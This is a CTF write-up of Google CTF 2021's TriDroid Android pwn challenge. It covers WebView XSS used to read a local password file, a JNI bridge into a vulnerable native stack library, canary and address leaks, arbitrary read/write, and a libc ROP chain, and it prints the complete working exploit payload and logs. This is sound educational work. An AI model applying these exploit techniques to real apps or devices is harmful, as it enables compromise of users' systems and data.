Details
- Category : pwn
- Points : 363
- Solves: 10
Description
Are you proficient enough to penetrate through the triangle of Android?
Note: the emulator does not have Internet access;
Note: You need to enable KVM on your machine to run the challenge locally; otherwise it will be super slow.
nc tridroid.2021.ctfcompetition.com 1337
The attachement was a zip file containing the following elements :
- app.apk: it’s basically the Android Package; a compressed folder containing and regrouping all application setup files
- Dockerfile: file containing the commands to build the Docker image and create an emulator running Android x86_64 API level 30 (also known as Android 11)
- flag: local flag to run and test the exploit on our side before submitting it.
- run.sh: script used to build the Dockerfile and run some other mandatory commands to make the environment work properly
- server.py: python script used to create AVD (Android Virtual Device). This virtual device will be identical to Google’s remote server, launch the app, set the flag and wait for our payload.
Disclaimer : This is not a challenge we managed to solve during the competition. However, while reading other teams’ write up we thought it would be interesting to try to solve it on our own. Indeed, it involves several complex but nevertheless interesting techniques on binary exploitation and allows playing with Android real-world vulnerability. Have a good reading ;)
Application analysis
Now we have all this stuff to work with, let’s decompile the apk using apktool from the command line :
apktool d app.apk
Our apk is decompiled in a new folder called app (actually the original binary name without its extension). Listing its content below, we can see two interesting things :
total 36
drwxr-xr-x 7 kali kali 4096 Aug 2 16:32 .
drwxr-xr-x 3 kali kali 4096 Aug 2 16:32 ..
-rw-r--r-- 1 kali kali 945 Aug 2 16:32 AndroidManifest.xml
-rw-r--r-- 1 kali kali 2008 Aug 2 16:32 apktool.yml
drwxr-xr-x 2 kali kali 4096 Aug 2 16:32 assets
drwxr-xr-x 6 kali kali 4096 Aug 2 16:32 lib
drwxr-xr-x 3 kali kali 4096 Aug 2 16:32 original
drwxr-xr-x 129 kali kali 4096 Aug 2 16:32 res
drwxr-xr-x 5 kali kali 4096 Aug 2 16:32 smali
- AndroidManifest.xml
This is the first file you have to analyse as it provides an overall overview of the inside components used by the application (Activities, Provider, Broadcast receiver and Services).
<?xml version="1.0" encoding="utf-8" standalone="no"?>
manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="30" android:compileSdkVersionCodename="11" package="com.google.ctf.pwn.tridroid" platformBuildVersionCode="30" platformBuildVersionName="11">
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:extractNativeLibs="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.tridroid">
<activity android:name="com.google.ctf.pwn.tridroid.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
<intent-filter>
</activity>
</application>
</manifest> </
Here we can see the application only contains a MainActivity. This is the first activity that starts when we execute the app.
- The lib folder
You may not know it but Android applications can contain compiled, native libraries. These are often C or C++ code that developers wrote and compiled for a specific architecture. Android apps call them using the following syntax:
static {
System.loadLibrary("<library_name>");
}
Remaining files are not useful right now. thus, we can just delve into the source code by using JADX to see what the application really does.
Source code analysis
OnCreate
First, the OnCreate
method initializes the activity and specifies the layout resources used to define the user interface. We can see that components like textView, editText and webView will be used here.
setContentView(R.layout.activity_main); //set UI view
//defining components
this.textView = (TextView) findViewById(R.id.textView);
this.editText = (EditText) findViewById(R.id.editText);
this.webView = (WebView) findViewById(R.id.webView);
generateSecretKey();
createPasswordFile();
Besides, two interesting functions are also being called (we’re going to give more details later) :
generateSecretKey
createPasswordFile
An editText listener is in charge of retrieving and updating data in real time before sending it to the webView through a WebMessage object.
this.editText.addTextChangedListener(new TextWatcher() {
/* class com.google.ctf.pwn.tridroid.MainActivity.AnonymousClass1 */
public void beforeTextChanged(CharSequence charSequence, int i, int i2, int i3) {}
public void onTextChanged(CharSequence charSequence, int i, int i2, int i3) {}
//real time update
public void afterTextChanged(Editable editable) {
//send input text to webView via WebMessage
.this.webView.postWebMessage(new WebMessage(MainActivity.this.editText.getText().toString()), Uri.parse("*"));
MainActivity}
});
A broadcast receiver is also used to set either : - com.google.ctf.pwn.tridroid.SET_FLAG
(which stores intent extra data as the flag) - com.google.ctf.pwn.tridroid.SET_NAME
(which sends user input data to the editText listener)
this.broadcastReceiver = new BroadcastReceiver() {
/* class com.google.ctf.pwn.tridroid.MainActivity.AnonymousClass2 */
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(MainActivity.SET_NAME_INTENT)) {
.this.editText.setText(new String(Base64.getDecoder().decode(intent.getStringExtra("data")), StandardCharsets.UTF_8));
MainActivity} else if (intent.getAction().equals(MainActivity.SET_FLAG_INTENT)) {
.this.flag = new String(Base64.getDecoder().decode(intent.getStringExtra("data").trim()), StandardCharsets.UTF_8).trim();
MainActivity}
}
};
The webView component properties are also defined in a way that all of them, including dangerous ones (local file access and JavaScript), are set to True.
this.webView.getSettings().setJavaScriptEnabled(true);
this.webView.getSettings().setAllowFileAccess(true);
this.webView.getSettings().setAllowFileAccessFromFileURLs(true);
It’s important to notice that a JavaScript interface called bridge is created. It’s used to bind JavaScript and client-side Android code. For instance (this is not the case here obviously), JavaScript code can call a method in Android Java code to display a Dialog box instead of a simple and ugly alert (good to know !!!)
Finally, the webView loads an HTML file stored in the assets folder (file://android_asset/index.html) :
<html>
<body>
<div>
</div>
<script>
= function(event) {
onmessage document.getElementsByTagName('div')[0].innerHTML = `Hi ${event.data}, how you doing?`;
}</script>
</body>
</html>
Sounds great to trigger an XSS don’t you think ?
generateSecretKey
This function generates an AES key from an harcoded secret.
private void generateSecretKey() {
try {
this.secretKey = new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(new String(Base64.getDecoder().decode("VHJpYW5nbGUgb2YgQW5kcm9pZA=="), StandardCharsets.UTF_8).toCharArray(), new byte[32], 65536, 256)).getEncoded(), "AES");
} catch (Exception e) {
.e("TriDroid", "Generating AES key has failed ...", e);
Log}
}
Because everything is hardcoded and no randomness is involved, this will always produce the same key.
createPasswordFile
This function creates a text file storing a 36-byte UUID generated using Java’s randomUUID
function.
private void createPasswordFile() {
try {
FileOutputStream openFileOutput = getApplication().openFileOutput("password.txt", 0);
try {
//store 36 characters in password.txt file
.write(UUID.randomUUID().toString().getBytes(StandardCharsets.UTF_8));
openFileOutputif (openFileOutput != null) {
.close();
openFileOutputreturn;
}
return;
} catch (Throwable th) {
.addSuppressed(th);
th}
throw th;
} catch (Exception e) {
.e("TriDroid", "Generating password file has failed ...", e);
Log}
}
This UUID will be used as a password to protect the access to the next function.
manageStack
This function specifies the @JavascriptInterface
decorator. It means that it’s available to the JavaScript from the bridge interface. Once called, it takes three arguments and verifies that the first is equal to the password stored in password.txt. After that, the Android native manageStack
function is called with the last two arguments.
@JavascriptInterface
public String manageStack(String str, String str2, String str3) {
try {
FileInputStream openFileInput = getApplication().openFileInput("password.txt");
try {
//verify first argument
if (str.equals(new BufferedReader(new InputStreamReader(openFileInput)).readLine())) {
//call native manageStack funtion
String hex = hex(manageStack(str2, unhex(str3)));
if (openFileInput != null) {
.close();
openFileInput}
return hex;
} else if (openFileInput == null) {
return "";
} else {
.close();
openFileInputreturn "";
}
} catch (Throwable th) {
.addSuppressed(th);
th}
throw th;
} catch (Exception e) {
.e("gCTF", "Reading password file has failed ...", e);
Logreturn "";
}
}
showFlag
This function writes the AES/CBC/PKCS5PADDING
encrypted flag in the runtime logs.
public void showFlag() {
try {
Cipher instance = Cipher.getInstance("AES/CBC/PKCS5PADDING");
.init(1, this.secretKey, new IvParameterSpec(new byte[16]));
instance.d("TriDroid", "Flag: " + new String(Base64.getEncoder().encode(instance.doFinal(this.flag.getBytes(StandardCharsets.UTF_8))), StandardCharsets.UTF_8));
Log} catch (Exception e) {
.e("TriDroid", "Showing flag has failed ...", e);
Log}
}
The key used for the encryption is the one generated by generateSecretKey
described earlier.
Setting up the environment
We have built an AVD identical to the remote one and used the following script to launch our exploit and get the logs :
#!/bin/bash
adb shell am start -W -n com.google.ctf.pwn.tridroid/.MainActivity
# set a fake flag for local testing
adb shell am broadcast -a com.google.ctf.pwn.tridroid.SET_FLAG -e data Q1RGe1hZWn0K
adb shell am broadcast -a com.google.ctf.pwn.tridroid.SET_NAME -e data $(cat exploit.html | base64 | tr -d '\r\n')
# add chromium logs to show console.log() output
adb logcat -d -s chromium
adb logcat -d -s TriDroid
# clear the logs
adb logcat -c
We will write our exploit in a separate file called exploit.html
.
After attempting to trigger an XSS, we realized it is not possible to execute javascript code directly. We can however execute code by abusing the onerror
handler of an img
tag :
<span id="exp">
// javascript code</span>
<img src="a" onerror="eval(document.getElementById('exp').innerHTML);" />
In the rest of this write-up we will only focus on the javascript code of the exploit, but remember that all the code you will see has to be defined in the span
tag shown above.
Finding vulnerabilities in libtridroid
The libtridroid library implements the native manageStack
function. We can find this function under the name Java_com_google_ctf_pwn_tridroid_MainActivity_manageStack
in Ghidra. Here is the decompiled output after cleaning up :
Only the relevant part is shown here. We can see that this function can accept 4 commands :
- push
- pop
- modify
- top
Let’s analyze them to see what they do and check if there is any exploitable vulnerability.
push
Before calling the push_element
function, the data to push is copied into a temporary buffer. The buffer is only 72 bytes long but we control the size to copy. There is a stack buffer overflow here.
The push_element
function is as follows:
It allocates a 24-bytes buffer on the heap. The first 16 bytes are set to zero and the 16 first bytes of the data to push is copied there. The last 8 bytes are used to store a pointer to the stack_top
.
This is clearly a linked list. The 24-bytes buffer represents a list element that can handle 16-bytes of data (denoted by the custom struct element_t
). The stack_top
is simply a pointer to the first element of the list.
The push
function simply appends an element to the start of the list.
pop
This function simply removes the first element of the list :
modify
This function allows to modify the content of the first element of the list :
There are two vulnerabilities in this function.
The first one occurs when the new data is copied into a 40-bytes local buffer without checking its length. This results in a stack buffer overflow.
The second one happens on the next line, when this buffer is copied into the data filed of the first element, again without restricting the size of the data to write. This results in a heap buffer overflow, because list elements are stored on the heap. Requesting to modify the first list element with data that is longer than 16 bytes would overwrite the newt_elm
pointer of this element, potentially allowing arbitrary read/write primitives.
top
This function simply retrieves the first element of the list and returns it to the app as a Java ByteArray.
Attack plan
Before establishing an attack plan, let’s take a look at the protections activated on the library using checksec
(comes with pwntools
) :
$ checksec libc.so
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
Every protection is active. The exploit will not be trivial.
Our goal is to call the showFlag
function from the APK so the flag gets written into the logs. Luckily, the library includes the invokeJavaMethod
function.
This function requires 4 arguments: 1. A pointer to the JNIEnv
object 2. A pointer to the This
object 3. A pointer to the name of the function we want to call : “showFlag” 4. A pointer to the signature of the function we want to call : “()V”
This signature means that the function take no argument and returns Void
.
To get to this point we have to make a ROP, setting the registers correctly. By abusing the 3 vulnerabilities identified earlier, we can potentially build our ROP chain, but we require a password to interact with the manageStack
function. This password can be retrieved by exploiting an XSS.
Because of all the protections, we will also have to somehow leak the canary to exploit the buffer overflows, leak the base address of libtridroid
to defeat PIE and leak the base address of libc
to get enough gadgets for our ROP chain.
The full attack plan is thus :
XXS -> leak password -> leak canary -> BOF -> leak libtridroid base address -> leak libc base address -> ROP -> invokeJavaMethod() -> showFlag()
Leaking the password
We can use the XSS to leak the password, but first we have to know where it is stored in the device. For this we used ADB and opened a shell on the emulator.
$ adb root
restarting adbd as root
$ adb shell
generic_x86_64_arm64:/ # cd /data/data/com.google.ctf.pwn.tridroid/files
generic_x86_64_arm64:/data/data/com.google.ctf.pwn.tridroid/files # ls
password.txt
generic_x86_64_arm64:/data/data/com.google.ctf.pwn.tridroid/files # cat password.txt
acec55ba-0f8e-4cff-82c9-5aee97c5bf54
Now that we have the full path of the password file and because the web view has file access permissions, we can open an URL starting with file://
to read it’s content :
const pwd = "/data/data/com.google.ctf.pwn.tridroid/files/password.txt";
var xmlHttp = new XMLHttpRequest();
.open("GET", "file://"+pwd, false); // false for synchronous request
xmlHttp.send();
xmlHttp= xmlHttp.responseText;
password alert("password : "+password);
It works ! Alerts are very visual, but are cumbersom because we need to click on them to make them disapear. That’s why we decided to use console.log()
from now on. The result should appear in the logcat output of chromium:
console.log("password : "+password);
Rerunning the exploit now prints output in the logs like expected :
08-01 14:51:21.812 8690 8690 I chromium: [INFO:CONSOLE(8)] "password : acec55ba-0f8e-4cff-82c9-5aee97c5bf54", source: (8)
Having the password, we can interact with the manageStack
function. Because a bridge was registered, we can access it directly from the javascript. For convenience, we decided to make small wrappers around this function :
function push(data) {
// interface bridge
return bridge.manageStack(password, "push", data);
}
function pop() {
// interface bridge
return bridge.manageStack(password, "pop", '');
}
function top() {
// interface bridge
return bridge.manageStack(password, "top", '');
}
function modify(data) {
// interface bridge
return bridge.manageStack(password, "modify", data);
}
Input data must be given in hexdecimal. The ouput is also in hexadecimal.
We can test it by pushing a value on the stack and retrieving it using top
:
push("41424344")
console.log(top())
Which gives :
08-01 15:01:04.401 8690 8690 I chromium: [INFO:CONSOLE(31)] "41424344", source: (31)
Leaking the canary and libtridroid’s base address
We can abuse the fact that the modify_element
doesn’t add a NULL byte at the end of our data to leak the content of the stack.
Because the temporary buffer is not overwritten with zero after being allocated, we have access to the content of the stack.
After debugging with GDB, we observed that 8 bytes after the start of this buffer, a return address is always present, leaking it would allow us to defeat PIE.
The canary is located just after the 40 bytes of the same buffer. An important thing to note is that the canary does not start with a NULL byte, unlike classical Linux environnement. This is a security feature, which aims to protect against this kind of information leakage. It is wierd that in Android the canaries do not have this security feature.
To leak the return address, we can call modify
with only 8 bytes of new data and call top
to trigger the leak. We can achieve the same for the canary using 40 bytes of data:
// initialize the stack top
push("41414141")
push("41414141")
push("41414141")
// leak return address
// return address is located in the stack at offset 8
modify("4141414141414141");
// skip 16 first bytes (4141...)
= top().substring(16);
leak console.log("Return address : "+leak);
// leak canary
// canary is at the end of the 40 bytes buffer
modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242");
// skip 40 first bytes (4141...)
= top().substring(80);
leak = leak.substring(0, 16);
canary console.log("Canary : "+canary);
Which gives :
08-02 21:15:14.483 22159 22159 I chromium: [INFO:CONSOLE(42)] "Return address : ff9601d15f78", source: (42)
08-02 21:15:14.489 22159 22159 I chromium: [INFO:CONSOLE(51)] "Canary : f39bbcd81de1a225", source: (51)
From our debugging session with GDB, we know that the return address is at offset 0x16FF
from the base of libtridroid. Subtracting this offset from the return address will leak the base address.
We wrote little helper functions for packing and unpacking addresses in little endian :
function unpack64(data) {
return parseInt(data.match(/../g).reverse().join(''), 16);
}
function pack64(data) {
return data.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
}
Using them, we can leak the base address :
= unpack64(leak) - 0x16FF;
base_addr console.log("Base address : "+base_addr.toString(16));
Resulting in :
08-02 21:33:24.962 22159 22159 I chromium: [INFO:CONSOLE(50)] "Base address : 785fd1018000", source: (50)
We can confirme the address is indeed valid from our ADB shell :
generic_x86_64_arm64:/ # grep "tridroid" /proc/$(pidof com.google.ctf.pwn.tridroid)/maps | grep "r-x" | grep base.apk
785fd1018000-785fd101a000 r-xp 003a1000 fd:05 40963 /data/app/~~8HrbOax9i97fF6BJzSPA0Q==/com.google.ctf.pwn.tridroid-2Omui46_qGvtYZn0eUP3ZQ==/base.apk
Having the base address we can calculate the address of invokeJavaMethod
because we known from Ghidra that it is located at offset 0xFA0
:
= base_addr + 0xFA0;
invoke_addr console.log("invokeJavaMethod address : "+invoke_addr.toString(16));
Getting arbitrary read/write primitives
We can abuse the vulnerabilities identified in modify_element
to leverage arbitrary read and write.
Arbitrary read can be obtained by overwriting the next_elm
pointer of the first element of the list, with our desired address. Calling pop
afterwards will modify stack_top
to point to this address, discarding the modified element. Calling top
will thus leak the data located at stack_top
, which is now our desired address.
Arbitrary write is achieved similarly. First we have to modify stack_top
to point to the address we want to write to, using the same steps as previously. Now we can call modify
once again to write arbitrary data at stack_top
, which is our desired address :
function read(addr) {
// push something because we pop after
push("41")
// 16*"41" + pointer overwrite
modify("41414141414141414141414141414141"+pack64(addr));
pop();
return top();
}
function write(addr, data) {
// push something because we pop after
push("41")
// 16*"41" + pointer overwrite
modify("41414141414141414141414141414141"+pack64(addr));
pop();
modify(data)
}
Leaking libc’s base address
A common technique to leak libc’s base address when having arbitrary read primitives is to leak an address from the GOT (Global Offset Table). We have to choose a function that we know has already been used before reading it.
We decided to leak malloc
’s address. Its offset in libtridroid is 0x2F70
. From our ADB shell, we can see at which offset malloc
is defined in the emulator’s libc :
generic_x86_64_arm64:/ # readelf -s /system/lib64/libc.so | grep " malloc$"
801: 0000000000043410 79 FUNC GLOBAL DEFAULT 14 malloc
1658: 0000000000043410 79 FUNC GLOBAL DEFAULT 14 malloc
The offset is 0x43410
. Subtracting this from the leaked address will reveal libc’s base address :
// leak malloc address
= unpack64(read(base_addr + 0x2F70))
malloc // compute libc base
= malloc - 0x43410
libc_base console.log("Libc base address : "+libc_base.toString(16));
Which gives :
08-03 20:10:33.389 23878 23878 I chromium: [INFO:CONSOLE(86)] "Libc base address : 7862bccd2000", source: (86)
Leaking JNIEnv and This
We have seen that in order to call the invokeJavaMethod
function, we require a pointer to the JNIEnv
object and a pointer to the This
object. We can find references to both of them at the start of the Java_com_google_ctf_pwn_tridroid_MainActivity_manageStack
function :
We see that they are stored on the stack at RBP-0x60
and RBP-0x68
respectively (Ghidra adds 8 to the stack offsets because it starts at the return address, IDA doesn’t.)
It turns out we can easily leak the value of RBP
because it’s stored just after the canary we leaked earlier :
// leak RBP
// RBP is at the end of the 40 bytes buffer, after the canary
modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242"+canary);
// skip 48 first bytes (4141...)
= top().substring(96);
leak = unpack64(leak);
RBP console.log("RBP : "+RBP.toString(16));
Which gives :
08-03 20:37:57.854 9143 9143 I chromium: [INFO:CONSOLE(99)] "RBP : 785fce295c30", source: (99)
Now we can leak the pointers to JNIEnv
and This
using our read primitive :
// get jniEnv and this
= unpack64(read(RBP-0x60)); // vu dans IDA
JNI_env = unpack64(read(RBP-0x68)); // vu dans IDA
this_ptr console.log("JNI_env : "+JNI_env.toString(16));
console.log("this_ptr : "+this_ptr.toString(16));
Resulting in :
08-03 20:40:08.152 9143 9143 I chromium: [INFO:CONSOLE(104)] "JNI_env : 7860e9512af0", source: (104)
08-03 20:40:08.153 9143 9143 I chromium: [INFO:CONSOLE(105)] "this_ptr : 785fce295c54", source: (105)
Setting up the last arguments
The last things we need are :
- A pointer to the name of the function we want to call : “showFlag”
- A pointer to the signature of the function we want to call : “()V”
Because no such strings are defined anywhere in the binary, we will have to write them ourselves somewhere. For that we’ll use our write primitive, but first we have to find a sufficiently large writeable memory region.
The .bss
area of libtridroid would have been a nice choice but is unfortunately too small. We decided to look at the .bss
of the libc instead. This time it is sufficiently large so we picked arbitrary addresses in the middle of it :0xD9510
and 0xD9530
At 0xD9510
we will write "()V\x00"
and at 0xD9530
"showFlag\x00"
:
// write "showFlag" in libc
write(libc_base + 0xD9530, '73686F77466C616700');
// write "()V" in libc
write(libc_base + 0xD9510, '28295600');
Building the ROP chain
Now that we have everything needed to build the ROP chain, we just have to find gadgets.
From the calling conventions, the first 4 agruments are stored in RDI
, RSI
, RDX
and RCX
respectively.
For that we have used ROPgadget:
ROPgadget --binary libc.so > gadgets.txt
Luckily there are straightforward gadgets to setup our registers :
$ grep ": pop rdi ; ret$" gadgets.txt
0x0000000000042c92 : pop rdi ; ret
$ grep ": pop rsi ; ret$" gadgets.txt
0x0000000000042d38 : pop rsi ; ret
$ grep ": pop rdx ; ret$" gadgets.txt
0x0000000000046175 : pop rdx ; ret
$ grep ": pop rcx ; ret$" gadgets.txt
0x0000000000042e58 : pop rcx ; ret
The final ROP chain is as follows :
// 0x0000000000042e58 : pop rcx ; ret
= libc_base + 0x42e58
pop_rcx // 0x0000000000046175 : pop rdx ; ret
= libc_base + 0x46175
pop_rdx // 0x0000000000042c92 : pop rdi ; ret
= libc_base + 0x42c92
pop_rdi // 0x0000000000042d38 : pop rsi ; ret
= libc_base + 0x42d38
pop_rsi // 0x0000000000042af0 : ret
= libc_base + 0x42af0
ret
= pack64(pop_rcx)
rop += pack64(libc_base + 0xD9510) // ()V
rop += pack64(pop_rdx)
rop += pack64(libc_base + 0xD9530) // showFlag
rop += pack64(pop_rsi)
rop += pack64(this_ptr)
rop += pack64(pop_rdi)
rop += pack64(JNI_env)
rop += pack64(ret) // for stack alignment
rop += pack64(invoke_addr) rop
To trigger the ROP chain we just have to overwrite the return address of the modify_element
function :
// overwrite RIP, after canary + EBP
modify("41414141414141414141414141414141414141414141414141414141414141414141414141414141"+canary+"4242424242424242"+rop);
Testing the final payload locally successfully writes the fake encrypted flag to the logs :
08-03 21:10:12.950 11858 11858 I chromium: [INFO:CONSOLE(8)] "password : 80965b49-ba84-4340-ab52-26bce809c2a1", source: (8)
08-03 21:10:13.017 11858 11858 I chromium: [INFO:CONSOLE(67)] "Base address : 785fd1066000", source: (67)
08-03 21:10:13.031 11858 11858 I chromium: [INFO:CONSOLE(76)] "Canary : f39bbcd81de1a225", source: (76)
08-03 21:10:13.031 11858 11858 I chromium: [INFO:CONSOLE(80)] "invokeJavaMethod address : 785fd1066fa0", source: (80)
08-03 21:10:13.050 11858 11858 I chromium: [INFO:CONSOLE(86)] "Libc base address : 7862bccd2000", source: (86)
08-03 21:10:13.129 11858 11858 I chromium: [INFO:CONSOLE(100)] "RBP : 785fce154c30", source: (100)
08-03 21:10:13.193 11858 11858 I chromium: [INFO:CONSOLE(110)] "JNI_env : 7860e95135f0", source: (110)
08-03 21:10:13.200 11858 11858 I chromium: [INFO:CONSOLE(111)] "this_ptr : 785fce154c54", source: (111)
...
08-03 21:10:13.201 11858 11954 D TriDroid: Flag: 66McrCEanCiGETTs3N/lOw==
Getting the real flag
The full exploit payload is given below :
<span id="exp">
const pwd = "/data/data/com.google.ctf.pwn.tridroid/files/password.txt";
var xmlHttp = new XMLHttpRequest();
.open("GET", "file://"+pwd, false); // false for synchronous request
xmlHttp.send();
xmlHttp= xmlHttp.responseText;
password console.log("password : "+password);
function push(data) {
// interface bridge
return bridge.manageStack(password, "push", data);
}
function pop() {
// interface bridge
return bridge.manageStack(password, "pop", '');
}
function top() {
// interface bridge
return bridge.manageStack(password, "top", '');
}
function modify(data) {
// interface bridge
return bridge.manageStack(password, "modify", data);
}
function unpack64(data) {
return parseInt(data.match(/../g).reverse().join(''), 16);
}
function pack64(data) {
return data.toString(16).match(/../g).reverse().join('').padEnd(16, '0');
}
function read(addr) {
// push something because we pop after
push("41")
// 16*"41" + pointer overwrite
modify("41414141414141414141414141414141"+pack64(addr));
pop();
return top();
}
function write(addr, data) {
// push something because we pop after
push("41")
// 16*"41" + pointer overwrite
modify("41414141414141414141414141414141"+pack64(addr));
pop();
modify(data)
}
// initialize the stack top
push("41414141")
push("41414141")
push("41414141")
// leak base address
// base address is located in the stack at offset 8 but is itself offseted by 0x16FF
modify("4141414141414141");
// skip 16 first bytes (4141...)
= top().substring(16);
leak = unpack64(leak) - 0x16FF;
base_addr console.log("Base address : "+base_addr.toString(16));
// leak canary
// canary is at the end of the 40 bytes buffer
modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242");
// skip 40 first bytes (4141...)
= top().substring(80);
leak // javascript gives incorrect results if we parse the canary as an Int
= leak.substring(0, 16);
canary console.log("Canary : "+canary);
// compute invokeJavaMethod address
= base_addr + 0xFA0;
invoke_addr console.log("invokeJavaMethod address : "+invoke_addr.toString(16));
// leak malloc address
= unpack64(read(base_addr + 0x2F70))
malloc // compute libc base
= malloc - 0x43410
libc_base console.log("Libc base address : "+libc_base.toString(16));
// add stuff on the stack otherwise things randomly break afterwards
push("41414141")
push("41414141")
push("41414142")
// leak RBP
// RBP is at the end of the 40 bytes buffer, after the canary
modify("41414141414141414141414141414141414141414141414141414141414141414141414141424242"+canary);
// skip 48 first bytes (4141...)
= top().substring(96);
leak = unpack64(leak);
RBP console.log("RBP : "+RBP.toString(16));
// write "showFlag" in libc
write(libc_base + 0xD9530, '73686F77466C616700');
// write "()V" in libc
write(libc_base + 0xD9510, '28295600');
// get jniEnv and this
= unpack64(read(RBP-0x60)); // vu dans IDA
JNI_env = unpack64(read(RBP-0x68)); // vu dans IDA
this_ptr console.log("JNI_env : "+JNI_env.toString(16));
console.log("this_ptr : "+this_ptr.toString(16));
// gadgets found using ROPGadget
// 0x0000000000042e58 : pop rcx ; ret
= libc_base + 0x42e58
pop_rcx // 0x0000000000046175 : pop rdx ; ret
= libc_base + 0x46175
pop_rdx // 0x0000000000042c92 : pop rdi ; ret
= libc_base + 0x42c92
pop_rdi // 0x0000000000042d38 : pop rsi ; ret
= libc_base + 0x42d38
pop_rsi // 0x0000000000042af0 : ret
= libc_base + 0x42af0
ret
// jniEnv -> RDI
// this -> RSI
// @"showFlag" -> RDX
// @"()V" -> RCX
= pack64(pop_rcx)
rop += pack64(libc_base + 0xD9510) // ()V
rop += pack64(pop_rdx)
rop += pack64(libc_base + 0xD9530) // showFlag
rop += pack64(pop_rsi)
rop += pack64(this_ptr)
rop += pack64(pop_rdi)
rop += pack64(JNI_env)
rop += pack64(ret) // for stack alignment
rop += pack64(invoke_addr)
rop
// overwrite RIP, after canary + EBP
modify("41414141414141414141414141414141414141414141414141414141414141414141414141414141"+canary+"4242424242424242"+rop);
</span>
<img src="a" onerror="eval(document.getElementById('exp').innerHTML);" />
We encoded it in base64 and sent it to the server using pwntools. After several minutes, we finally got the real encrypted flag :
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AB8s.AAAxYZnbk+KFZ4qNDjonCqrl
===================
Welcome to TriDroid, the Triangle of Android:
/\
DEX / \ Web
(Java & Kotlin) / \ (HTML & JS)
/ \
/________\
Native (C & C++)
$
[*] Interrupted
[*] Switching to interactive mode
Thank you! Check out the logs. This may take a while ...
--------- beginning of kernel
--------- beginning of main
--------- beginning of system
07-26 21:42:54.017 4220 6232 D TriDroid: Flag: Fd60z2/WC/boWFPcZ1pbJW5v3eOjGcR3vajE7rPNN67pxtzYfNRYCE2XoTeOlw1uGYO24cqV/QnvD2rykyXzxQ==
--------- beginning of crash
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to tridroid.2021.ctfcompetition.com port 1337
We used an online Java interpreter to recompute the encryption key and decrypt the flag.
Flag : CTF{the_triangle_of_android_f62eb802e6aca13743e9}
Our news